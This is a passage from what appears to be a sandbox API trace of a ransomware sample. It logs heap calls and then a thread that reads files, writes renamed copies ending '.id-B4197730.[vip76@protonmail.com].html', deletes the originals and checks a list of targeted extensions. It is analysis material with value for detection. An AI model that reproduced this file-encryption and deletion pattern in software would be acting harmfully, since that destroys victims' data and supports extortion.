	[0086.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0086.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0086.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0086.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0087.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0087.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0087.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0087.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 16
	os_tid = 0x6cc

	[0057.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c10068
	[0057.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c20070
	[0057.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549310
	[0057.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x546918
	[0057.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549520
	[0057.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3de7020
	[0057.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.897] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d908
	[0057.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549328
	[0057.897] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549328, Size=0x20) returned 0x52d930
	[0057.897] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.898] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.898] Wow64DisableWow64FsRedirection (in: OldValue=0x339ff50 | out: OldValue=0x339ff50*=0x0) returned 1
	[0057.898] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d908 | out: hHeap=0x4f0000) returned 1
	[0057.898] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d930 | out: hHeap=0x4f0000) returned 1
	[0057.898] Sleep (dwMilliseconds=0x64) 
	[0059.801] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1
	[0059.801] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0059.801] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0059.803] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=156) returned 1
	[0059.803] CloseHandle (hObject=0x2ec) returned 1
	[0059.803] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0059.803] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.803] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0059.803] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.803] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.803] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0059.804] GetLastError () returned 0x0
	[0059.804] ReadFile (in: hFile=0x2ec, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x9c, lpOverlapped=0x0) returned 1
	[0059.821] WriteFile (in: hFile=0x2f0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0059.822] ReadFile (in: hFile=0x2ec, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.822] WriteFile (in: hFile=0x2f0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x100, lpOverlapped=0x0) returned 1
	[0059.822] SetEndOfFile (hFile=0x2f0) returned 1
	[0059.822] CloseHandle (hObject=0x2f0) returned 1
	[0059.824] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.824] SetEndOfFile (hFile=0x2ec) returned 1
	[0059.825] CloseHandle (hObject=0x2ec) returned 1
	[0059.825] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0059.825] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1
	[0059.826] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.826] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.826] lstrlenW (lpString=".doc") returned 4
	[0059.826] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0059.826] lstrlenW (lpString=".docx") returned 5
	[0059.826] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0059.826] lstrlenW (lpString=".pdf") returned 4
	[0059.826] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0059.826] lstrlenW (lpString=".xls") returned 4
	[0059.826] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0059.826] lstrlenW (lpString=".xlsx") returned 5
	[0059.826] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0059.826] lstrlenW (lpString=".ppt") returned 4
	[0059.826] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0059.826] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.826] lstrlenW (lpString=".zip") returned 4
	[0059.826] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0059.826] lstrlenW (lpString=".rar") returned 4
	[0059.826] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0059.826] lstrlenW (lpString=".bz2") returned 4
	[0059.826] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0059.826] lstrlenW (lpString=".7z") returned 3
	[0059.826] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0059.826] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.826] lstrlenW (lpString=".dbf") returned 4
	[0059.827] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0059.827] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.827] lstrlenW (lpString=".1cd") returned 4
	[0059.827] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0059.827] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.827] lstrlenW (lpString=".jpg") returned 4
	[0059.827] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.827] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.827] lstrlenW (lpString=".doc") returned 4
	[0059.827] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0059.827] lstrlenW (lpString=".docx") returned 5
	[0059.827] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0059.827] lstrlenW (lpString=".pdf") returned 4
	[0059.827] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString=".xls") returned 4
	[0059.827] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString=".xlsx") returned 5
	[0059.827] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1
	[0059.827] lstrlenW (lpString=".ppt") returned 4
	[0059.827] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.827] lstrlenW (lpString=".zip") returned 4
	[0059.827] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString=".rar") returned 4
	[0059.827] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0059.827] lstrlenW (lpString=".bz2") returned 4
	[0059.827] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0059.828] lstrlenW (lpString=".7z") returned 3
	[0059.828] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0059.828] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.828] lstrlenW (lpString=".dbf") returned 4
	[0059.828] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0059.828] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.828] lstrlenW (lpString=".1cd") returned 4
	[0059.828] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0059.828] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44
	[0059.828] lstrlenW (lpString=".jpg") returned 4
	[0059.828] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0059.828] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1
	[0059.828] lstrlenW (lpString="desktop.ini") returned 11
	[0059.828] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0059.828] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=129) returned 1
	[0059.829] CloseHandle (hObject=0x2ec) returned 1
	[0059.829] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26
	[0059.829] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0059.829] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0059.829] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.829] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.829] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0059.830] GetLastError () returned 0x0
	[0059.830] ReadFile (in: hFile=0x2ec, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x81, lpOverlapped=0x0) returned 1
	[0059.832] WriteFile (in: hFile=0x2f0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x90, lpOverlapped=0x0) returned 1
	[0059.833] ReadFile (in: hFile=0x2ec, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0059.833] WriteFile (in: hFile=0x2f0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xea, lpOverlapped=0x0) returned 1
	[0059.833] SetEndOfFile (hFile=0x2f0) returned 1
	[0059.833] CloseHandle (hObject=0x2f0) returned 1
	[0059.835] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.835] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.081] CloseHandle (hObject=0x2ec) returned 1
	[0060.081] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0060.081] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1
	[0060.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.082] lstrlenW (lpString=".doc") returned 4
	[0060.082] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.082] lstrlenW (lpString=".docx") returned 5
	[0060.082] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.082] lstrlenW (lpString=".pdf") returned 4
	[0060.082] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.082] lstrlenW (lpString=".xls") returned 4
	[0060.082] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.082] lstrlenW (lpString=".xlsx") returned 5
	[0060.082] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.082] lstrlenW (lpString=".ppt") returned 4
	[0060.082] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.082] lstrlenW (lpString=".zip") returned 4
	[0060.082] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.082] lstrlenW (lpString=".rar") returned 4
	[0060.082] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.082] lstrlenW (lpString=".bz2") returned 4
	[0060.082] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.082] lstrlenW (lpString=".7z") returned 3
	[0060.082] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.082] lstrlenW (lpString=".dbf") returned 4
	[0060.082] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.082] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0060.082] lstrlenW (lpString=".1cd") returned 4
